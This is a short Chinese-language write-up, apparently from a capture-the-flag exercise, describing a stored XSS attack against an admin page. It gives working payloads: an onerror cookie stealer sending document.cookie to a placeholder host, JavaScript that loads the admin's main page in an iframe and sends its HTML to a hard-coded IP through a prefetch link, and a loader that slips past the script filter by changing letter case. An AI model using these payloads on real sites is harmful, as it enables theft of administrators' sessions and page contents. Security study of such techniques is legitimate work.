在登录页面尝试弱口令登录后,无果。于是又把思路转向了xss。
想着可不可以拿到管理员cookie。经过尝试后,发现他做了一些xss的防范
- 将script标签中间强行加入空格
- 在<与s之间强行加入空格
- 标题处有转义,无法xss
- 限制字符长度300
于是构造payload如下
<img src='1' onerror="window.location.href='<http://youhost/?'+document.cookie";>
本地测试成功,然后发送,发现获取cookie为空,即服务器端可能做了HttpOnly的限制。
所以此方法失败!!
然后尝试其他思路,想到了国赛的一道题目guestbook,已经xman排位赛的xss2。
通过构造js,来让管理员直接访问main页面,然后将其源码拖下来。
首先通过js引入一个iframe,来访问main页面,然后通过js拿到iframe的源码,发送回来。
此时遇到了一个问题,即iframe加载不完全,所以自己又添加了一个定时器。
最终代码如下
var iframe = document.createElement("iframe");
iframe.src = "./#main";
document.body.appendChild(iframe);
iframe.onload = setInterval(function (){
var c = encodeURI(document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML);
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//101.200.58.21:2017/?a=" + c);
document.head.appendChild(n0t);
},1000
由于代码超过了可以发送文本的长度,所以想办法采用其他方式,如外部引入js。
引入这里,自己采用的是在xss平台上面学到的一句话
<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='你的js地址';">
此时由于存在script,所以得绕过一下,自己采用的是大小写绕过。将其改为下面代码即可。
<img src=x onerror="s=createElement('Script');body.appendChild(s);s.src='你的js地址';">
然后进行多次提交。即可收到打回来的代码。